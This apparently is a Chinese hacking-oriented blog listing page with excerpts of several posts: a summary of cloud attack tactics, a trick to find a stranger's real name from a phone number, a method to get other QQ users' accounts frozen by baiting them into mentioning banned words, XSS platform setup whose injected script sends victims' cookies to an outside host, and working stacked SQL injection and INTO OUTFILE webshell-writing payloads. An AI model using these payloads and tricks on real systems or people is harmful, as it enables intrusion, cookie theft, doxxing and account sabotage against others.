CLI(AWS Command-Line Interfoce,AWS命令行界面)配置文件中来创建恶意用户。 3. 持久性 对手试图保持立足点。 持久性是指攻击者利用重新启动、更改凭证等手段对系统访问的技术组成。攻击驻留技术包括任何访问、操作或配置更改,以便使它们能够在系统内持久隐藏,例如替换、劫持合法代码或添加启动代码。 Amazon Web Service Amazon Machine Images(AWS AMI),Google Cloud Platform(GCP)映像和Azure映像,以及容器在运行时(如Docker)都可以被植入后门以包含恶意代码。如果指示基础架构配置的工具始终使用最新映像,则可以提供持久性访问。 攻击者已经开发了一种工具,可以在云容器映像中植入后门。如果攻击者有权访问受感染的AWS实例,并且有权列出可用的容器映像,则他们可能会植入后门,如Web Shell。攻击者还可能将后门植入在云部署无意使用的Docker映像中,这在某些加密挖矿僵尸网络实例中已有报道。 4. 提升权限 攻击者可以使用凭证访问技术窃取特定用户或服务账户的凭证,或者在侦察过程的早期通过社会工程来获取凭证以获得初始访问权限。 攻击者使用的账户可以分为三类:默认账户、本地账户和域账户。 默认账户是操作系统内置的账户,如Windows系统上的Guest和Administrator账户,或其他类型的系统、软件、设备上的默认工厂或提供者设置账户。 本地账户是由组织配置的账户,供用户远程支持、服务或在单个系统或服务上进行管理。 域账户是由Active Directory域服务和管理的账户,其中为跨该域的系统和服务配置访问权限。域账户可以涵盖用户、管理员和服务。 受损的凭证可能会用于绕过放置在网络系统上各种资源的访问控制,甚至可能会用于对远程系统和外部可用服务(如VPN,Outlook Web Access和远程桌面)的持久访问。 受损的凭证也可能会增加攻击者对特定系统或访问网络受限区域的特权。攻击者可能不选择将恶意软件或工具与这些凭证提供的合法访问结合使用,以便更难检测到它们的存在。 另外,攻击者也可能会利用公开披露的私钥或被盗的私钥,通过远程服务合法连接到远程环境。 在整个网络系统中,账户访问权、凭证和权限的重叠是需要关注的,因为攻击者可能会跨账户和系统进行轮转以达到较高的访问级别(即域或企业管理员),从而绕过访问控制。 5. 防御绕过 攻击者试图避免被发现。 防御绕过包括攻击者用来避免在整个攻击过程中被发现的技术。 逃避防御所使用的技术包括卸载或禁用安全软件或对数据和脚本进行混淆或加密。攻击者还会利用和滥用受信任的进程来隐藏和伪装其恶意软件。 攻击者在执行恶意活动后可能会撤回对云实例所做的更改,以逃避检测并删除其存在的证据。在高度虚拟化的环境(如基于云的基础架构)中,攻击者可以通过云管理仪表板使用VM或数据存储快照的还原轻松达到此目的。 该技术的另一个变体是利用附加到计算实例的临时存储。大多数云服务商都提供各种类型的存储,包括持久性存储、本地存储和临时存储,后者通常在VM停止或重新启动时被重置。 6. 凭证访问 攻击者试图窃取账户名和密码。 凭证访问包括用于窃取凭证(如账户名和密码)的技术,包括密钥记录和凭证转储。若攻击者利用了合法的凭证访问系统,则更难被发现,此时攻击者可以创建更多账户以帮助其增加最终实现目标的概率。 攻击者可能会尝试访问云实例元数据API,以收集凭证和其他敏感数据。 大多数云服务商都支持云实例元数据API,这是提供给正在运行的虚拟实例的服务,以允许应用程序访问有关正在运行的虚拟实例的信息。 可用信息通常包括名称、安全组和其他元数据的信息,甚至包括敏感数据(如凭证和可能包含其他机密的UserData脚本)。提供实例元数据API是为了方便管理应用程序,任何可以访问该实例的人都可以访问它。 如果攻击者在运行中的虚拟实例上存在,则他们就可以直接查询实例元数据API,以标识授予对其他资源访问权限的凭证。 此外,攻击者可能会利用面向公众的Web代理中的服务器端请求伪造(Server-Side Request Forgery,SSRF)漏洞,该漏洞可以使攻击者通过对实例元数据API的请求访问敏感信息。 7. 发现 攻击者试图找出你的环境。 发现包括攻击者可能用来获取有关系统和内部网络知识的技术。 这些技术可帮助攻击者在决定采取行动之前观察环境并确定方向。它们还允许攻击者探索他们可以控制的东西及进入点附近的东西,以便发现如何使他们当前的目标受益。 攻击者可以通过查询网络上的信息,来尝试获取与他们当前正在访问的受感染系统之间或从远程系统获得的网络连接的列表。 获得基于云环境的一部分系统访问权的攻击者,可能会规划出虚拟私有云或虚拟网络,以便确定连接了哪些系统和服务。 针对不同的操作系统,所执行的操作可能是相同类型的攻击发现技术,但是所得信息都包括与攻击者目标相关的联网云环境的详细信息。不同云服务商可能有不同的虚拟网络运营方式。 8. 横向移动 横向移动由使攻击者能够访问和控制网络上的远程系统的技术组成,并且可以但不一定包括在远程系统上执行工具。 横向移动技术可以使攻击者从系统中收集信息,而无须其他工具,如远程访问工具。 如果存在交叉账户角色,攻击者就可以使用向其授予AssumeRole权限的凭证来获取另一个AWS账户的凭证。在默认情况下,当使用AWS Organization时,父账户的使用者可以在子账户中创建这些交叉账户角色 攻击者可以识别可用作横向移动桥接器的IAM角色,并在初始目标账户中搜索所有IAM用户、组、角色策略及客户管理的策略,并识别可能的桥接IAM角色。 在AssumeRole事件的初始目标账户中,攻击者使用两天的默认回溯窗口配置和1%的采样率收集有关任何跨账户角色假设的信息。有了潜在的桥接IAM角色列表,MadDog就可以尝试获取可用于横向移动的临时凭证账户了。 通过波动模式,攻击者可以使用MadDog通过从每个被破坏账户中获得的凭证来破坏尽可能多的AWS账户。通过持久性模式,MadDog将在每个违规账户下创建一个IAM用户,以进行直接和长期访问,而无须遍历横向移动最初使用的AWS角色链。 9. 纵向移动 纵向移动包括使攻击者能够访问和控制系统并同时在两个不同的平面(即网络平面和云平面)上旋转的技术。 攻击者可以使用AWS SSM(Simple Server Manager)来获得具有适当权限的AWS凭证在计算机中的反向Shell。借助云的控制,攻击者可以向自己授予读取网络中所有硬盘的权限,以及在磁盘中搜寻凭证或用户的权限。 10. 收集 攻击者正在尝试收集目标感兴趣的数据。 收集包括攻击者用来收集信息的技术。 通常,收集数据后的下一个目标是窃取(泄露)数据。常见的目标来源包括各种驱动器类型、浏览器、音频、视频和电子邮件。常见的收集方法包括捕获屏幕截图和键盘输入。 攻击者可能会从安全保护不当的云存储中访问数据对象。 许多云服务商都提供在线数据存储解决方案,如Amazon S3,Azure存储和Google Cloud Storage。 与其他存储解决方案(如SQL或Elasticsearch)的不同之处在于,它们没有总体应用程序,它们的数据可以使用云服务商的API直接检索。云服务商通常会提供安全指南,以帮助最终用户配置系统。 最终用户的配置出现错误是一个普遍的问题,发生过很多类似事件,如云存储的安全保护不当(通常是无意中允许未经身份验证的用户进行公共访问,或者所有用户都过度访问),从而允许公开访问信用卡、个人身份信息、病历和其他敏感信息。 攻击者还可能在源存储库、日志等中获取泄露的凭证,以获取对具有访问权限控制的云存储对象的访问权。 11. 渗透与数据窃取 攻击者试图窃取数据。 渗透由攻击者用来从网络中窃取数据的技术组成。攻击者收集到数据后,通常会对其进行打包,避免在删除数据时被发现,这包括数据压缩和数据加密。用于从目标网络中窃取数据的技术通常包括在其命令和控制信道或备用信道上传输数据,以及在传输中设置大小限制。 攻击者通过将数据(包括云环境的备份)转移到他们在同一服务上控制的另一个云账户中来窃取数据,从而避免典型的文件下载或传输和基于网络的渗透检测。 通过命令和控制通道监视向云环境外部大规模传输的防御者,可能不会监视向同一个云服务商内部的另一个账户的数据传输。 这样的传输可以利用现有云服务商的API和内部地址空间混合到正常流量中,或者避免通过外部网络接口进行数据传输。在一些事件中,攻击者创建了云实例的备份并将其转移到单独的账户中。 12. 干扰 攻击者试图操纵、中断或破坏系统和数据。 干扰包括攻击者用来通过操纵业务和运营流程破坏系统和数据的可用性或完整性的技术,包括破坏或篡改数据。 在某些情况下,有时候业务流程看起来还不错,但可能已进行了更改,以使攻击者的目标受益。攻击者可能会使用这些技术实现其最终目标,或为违反保密性提供掩护。 常见的攻击战术包括DDoS(Distributed Denial-of-Service,抗拒绝服务攻击)和资源劫持。 攻击者可以对来自AWS区域中EC2实例的多个目标(AWS或非AWS)执行DDoS,也可能会利用增补系统的资源,解决影响系统或托管服务可用性的资源密集型问题。 资源劫持的一个常见目的是验证加密货币网络的交易并获得虚拟货币。攻击者可能会消耗足够的系统资源,从而对受影响的计算机造成负面影响或使它们失去响应。服务器和基于云的系统经常是他们的目标,因为可用资源的潜力很大,但是有时用户终端系统也可能会受到危害,并用于资源劫持和加密货币挖掘。 ...

    2021-08-07 624
  • 通过手机号查他人名字教程

    通过手机号查他名字的两个方法 当你知道一个人的手机号的时候 要怎么样才能知道这个人叫什么呢? 分享我知道的两个小思路 也是最简单的两个 (非社工裤,非违规违法办法) 1.通过在支付宝搜索他的手机号,可以看出来他名字的最后一位。 关键点来了啊! 然后你可以通过给他转账1分钱,之后去自己的手机银行记录里,就会有全名。 2.直接在钉钉,这个软件里,搜他手机号,然后点击查看,就会显示出全名。 最后,在这个大数据的时代,大家的信息多多少少都会有泄漏。 在有人利用这些来威胁自己或者干一些违法的事情时, 还是希望各位能用好法律这个武器来保护自己。 不做违法违规的事情,做好好公民。 ...

    2021-07-31 1706
  • 无违规冻结QQ最新7.23

    大家好我又来了,上一期的雷 霆 老 虎 机 咆 哮 要 + 现在已经是和谐,最近发现了新一个违禁词! 六 合 彩 虹 糖 把上面那个复制粘贴到自己群名称! 反正是你名称里面包含**屏蔽敏感词**就可以! 兄弟们不得不说**屏蔽敏感词**是做的牛,发卡片消息,图片消息中包含**屏蔽敏感词**也封号,下面这几个呢我都测试过了,威力小了点,达不到封号效果,顶多限制加好友喝附近功能! 炸金花,捕鱼机,老汉推车,钟馗开眼 把这个设为名称,别人艾特你或者回复你的消息,直接举报色情那条消息,然后直接提交,过一会直接举报成功! 最近被反封的也挺多,我只能说小心玩吧! 为什么被反封呢?我最近研究了一下,好像是因为发那个口令红包才会出现反封现象,所以说最好别发口令红包! 可以和我一样猥琐玩,举报完以后就把名称改回去,防止反封,到目前为止,我也没有被封过! 群主艾特你举报群,群就会封! 预防方法:看到这个名字不要艾特! 见它被封号了,好奇封了几天? 微信搜索腾讯客服小程序,找到解封QQ点进去,输入QQ号即可查询 如果不知从何下手,我们直接找群里那些无辜机器人下手 这个违禁词发口令红包不可用,出来了直接屏蔽了,看不到! ...

    2021-07-23 1334
  • 用时间做密码-IAPP源码

    本次教大家如何用时间做为密码 废话不多说教程直接开始 ⒈ 首先创建一个项目,然后删除原本页面 ⒉ 创建编辑框和按钮控件 3. 把下方代码放入按钮的单击触屏事件中   s id= //这里填写编辑框的id time("H",a) //获取小时数 time("M",b) //获取分钟数 ss(a+b,c) //将小时与分钟连接起来,组成四位数,作为密码 ug(id,"text",d) //获取编辑框里的数字 f(d==c) { //这里是密码正确后所执行的代码 tw("密码正确",0) } //如果编辑框里的数字等于密码,就提示密码正确 else f(d=="") { tw("你还没有输入密码!",0) } //编辑框没有内容就提示还没输入密码 else { //这里是失败后执行的代码 tw("密码错误",0) } !!注意!!密码就只是小时和分钟数字 ...

    2021-07-22 786
  • 网上传的QQ封号代码

    陌路人是一直不相信有这种东西的,之前也看到过形形色色的这种东西,但都是假的。 可就是今天上午我相信了,我QQ被冻结了一天,原因仅仅是因为艾特了一下群友。 。。。。。。。。。 真被封了一天 直到下午需要用到QQ登录浏览器了,只好联系腾讯客服解封。 回到正题,为什么会被封号? 因为我艾特了群友 ? 我们看一下群友昵称。         @小 汤 姆 爱 玩 老 虎 机     问题就出在**屏蔽敏感词**,**屏蔽敏感词**是违禁词。并不存在什么封号代码,只是我艾特昵称触发了腾讯封号机制,对方举报一下百分百成功封号。 我们首先要从腾讯封号机制说起 1.首先你自己做了一些违规的事,就比如说散布谣言,发布色情信息等等,这种是无解的。 因为腾讯的封号机制完全就是机器人,毕竟QQ在国内国外用户都有几亿之多,更何况还是13年的数据。 陌路人就是触发了违禁词才会被封号一天,封号时长应该是由QQ等级这些来决定。 ...

    2021-07-04 1638
  • 安卓QNotified 支持xml卡片QQ消息

    xposed模块,完美支持太极,主要功能就是发送卡片消息,还有净化QQ,防撤回,群发消息等。 xml卡片消息发送方法注意看上面的图,长按没反应多半就是xml代码有问题,找xml代码可以加一些相关群,搜xml就能找到很多,百度不好找。 太极下载:https://www.lanzoux.com/iwFPWfajy5i 太极使用方法:安装模块->模块管理->QNotified打上√->在太极内安装QQ应用打开->QQ 设置 QNotified进入 部分功能: 1. 隐藏消息列表小程序入口 2. 去除回复自动@ 3. 语音消息转发 4. 文本消息群发(原QQHelper) 5. 以图片方式打开闪照(原辅助模块) 6. 以图片方式打开表情包(原QQ净化) 7. Ark(json)/StructMsg(xml)卡片消息(原BUG复读机) 8. 复读机(+1,原BUG复读机) 9. 被删好友通知 10. 防撤回(实验性,不稳定) 11. 签到文本化,隐藏礼物动画 12. 简洁模式圆头像(from Rikka) 13. 自定义电量(实验性) 14. 转发消息点击头像打开资料卡 15. 下载重定向(原QQ净化) 16. 屏蔽 @全体成员 或者 群红包 的通知(不影响接收消息,不影响某些插件抢红包功能) 17. 屏蔽QQ更新提示 18. 屏蔽QQ空间点赞通知 19. 禁止聊天界面输入$自动弹出 选择赠送对象 窗口 20. 增加花Q部分功能 21. 增加自定义启动图 22. 增加保存语言功能(高级验证后) 23. 增加屏蔽头像挂件功能 24. 增加屏蔽主界面相机功能...

    2021-07-04 917
  • webshell菜刀后门分析

    一、WSockExpert,一款对进程抓包的软件 二、打开菜刀,并在WSExplore中找到菜刀进程,右击,打开进程 三、在菜刀中添加一句话木马地址及密码,并连接 四、查看WSExplore,会发现两条可疑的数据包,地址和其他的不一样,提交信息中也有一句话木马地址和密码 ...

    2021-07-01 694
  • QQ被永久冻结封号申诉方法

    其实投诉到工信部资料齐全,申诉的说词整理得好,能够成功解封的几率非常高。 只要不是严重的违规,比如: 1、涉H,群主没有发过H,但是被封号的; 2、QQ空间发了几条不是很严重的广告之类的; 3、骂人,批量删除好友;....等等。只要你的QQ号没有涉及到“HDD” 到工信部基本能解。如果涉及“HDD”严重违规的话,可以去投诉试试。 工信部投诉邮箱地址:12300@gdca.gov.cn 邮件发送格式: 邮件内容:申诉人:XXX 身份证号码:XXXXX 联系电话:XXXX 争议号码:XXX(此处填写QQ号码) 申诉理由:尊敬的工信部领导,您好!在XXXX年XX月XX日本人多年使用的QQ号XXXX被腾讯公司以“涉嫌传播违法违规信息”被永久冻结封号,多次联系腾讯客服申诉无果,每次都是告知违规不予解封。本号为私人用号,但是很多公司资料保存在QQ上,因此QQ号有时候有朋友和同事需要登录下载资料或文件,所以QQ在封号之前QQ密码有过泄漏的情况。本人身为QQ忠实客户,QQ也使用10多年了,信用一直良好,自己实际并未发布什么违规内容信息。QQ号上保存大量重要资料.文件.合同...等等。很多亲朋好友、客户,等因封号导致中断联系方式。使用该QQ号注登录的其他软件、邮箱、腾讯云、企鹅FM、企鹅自媒体...等等,与之QQ关联绑定的第三方平台都无法登录使用。如果QQ号因密码泄漏或QQ异常被他人利用发布了什么违规的内容,腾讯公司应该通知警告或临时冻结。腾讯公司不但没有采取补救措施,反倒直接封号处理。腾讯封号行为对我生活和工作都 造成了极大的影响和打击。(此处申诉理由大家根据自身情况进行修改) 事实依据:《互联网群组信息服务管理规定》第十一条:互联网群组信息服务提供者应当对违反法律法规和国家有关规定的互联网群组,依法依约采取警示整改、暂停发布、关闭群组等处置措施,保存有关记录,并向有关主管部门报告。互联网群组信息服务提供者应当对违反法律法规和国家有关规定的群组建立者、管理者等使用者,依法依约采取降低信用等级、暂停管理权限、取消建群资格等管理措施,保存有关记录,并向有关主管部门报告。 邮件附件需要上传:身份证正照片+身份证反面照片+QQ登录提示冻结截图+ 联系腾讯QQ客服沟通处理结果截图+其他资料截图(你觉得还有用的资料, 比如:公司营业执照;军官证;退伍证;之类的证明) PS:申诉理由只是给大家一个参考,各位自行根据自身QQ情况去填写和修改。 ...

    2021-05-30 1008
  • XSS平台搭建及利用

    一、下载平台源码、拷贝到我们网站的根目录 https://github.com/anwilx/xss_platform 二、修改相关参数 1、config.php,数据库用户、密码、还有xss平台的访问路径 2、导入sql文件,测试的时候没法导入,所以就手动创建了数据库 新建数据库 打开xssplatform.sql,将里面的sql语句执行一遍 3、更新站点域名,将作者的域名替换,一共有四处 将module模块里"http://xsser.me"替换为"http://www.aiyouxss.com/xss"); 4、修改authtest文件 三、平台利用 1、注册一个账户 2、创建一个项目 3、配置相关信息,根据需要,添加模块 4、复制script里面代码,插入到存在xss漏洞的页面 <script src=http://192.168.139.129/xss/E3vbsa></script> 5、打开xss平台,已获取对方cookie 禁止非法,后果自负 ...

    2021-05-26 644
  • Mysql注入 -- 堆叠注入

    一、堆叠注入介绍 1、多条sql语句同时执行 2、union只能执行查询语句,堆叠可以执行增删改查 3、同时执行三条语句 select 1;select 2;select 3; 二、插入注入 1、找到注入点,添加一条数据 http://192.168.139.129/sqli/Less-38/?id=1';insert into users(id,username,password) values(66,'aiyou','bucuo') --+ 再次访问http://192.168.139.129/sqli/Less-38/?id=66 2、获取数据库名称 http://192.168.139.129/sqli/Less-38/?id=1';insert into users(id,username,password) values(67,database(),'bucuo') --+ 再次访问http://192.168.139.129/sqli/Less-38/?id=67获取数据库名称 3、获取数据库中的表名 http://192.168.139.129/sqli/Less-38/?id=1';insert into users(id,username,password) values(71,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1) ,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1)) --+ 再次访问http://192.168.139.129/sqli/Less-38/?id=71获取表名信息 4、获取表中的字段名 http://192.168.139.129/sqli/Less-38/?id=1';insert into users(id,username,password) values(74,(select column_name from information_schema.columns where table_name="users" limit 13,1) ,(select column_name from information_schema.columns where table_name="users" limit 12,1)) --+ 再次访问http://192.168.139.129/sqli/Less-38/?id=74获取字段信息 三、删除删除注入 http://192.168.139.129/sqli/Less-38/?id=1';delete from users where id=74 and sleep(if((select database())=0x7365637572697479,5,0)); 禁止非法,后果自负 ...

    2021-05-22 612
  • Mysql注入 -- 数据库导出及读文件

    一、数据库导出文件 1、连接数据库 2、通过into outfile导出数据库内容 select * from users into outfile "c:/1.sql"; 3、通过into outfile语句,在C盘目录写入一句话木马 select '<?php phpinfo();?>' into outfile "c:/aiyou.php"; 4、通过实例导出一句话,避免单引号问题,可以将一句话内容编码为十六进制 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,'<?php phpinfo();?>' into outfile 'c:/aiyou.php' --+http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'c:/aiyou.php' --+ 提示: 导入文件需要修改mysql的一个参数值,打开my.cnf 或 my.ini,加入以下语句后重启mysql。 secure_file_priv='' 二、读文件 1、连接Mysql数据库,读取C盘的aiyou.php内容 select load_file("c:/aiyou.php"); 2、通过联合查询,将读到的内容显示出来,为避免引号的问题,将路径编码为十六进制 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,load_file("c:/1.sql");http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,load_file(0x633a2f312e73716c) --+ 禁止非法,后果自负 ...

    2021-05-15 650

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注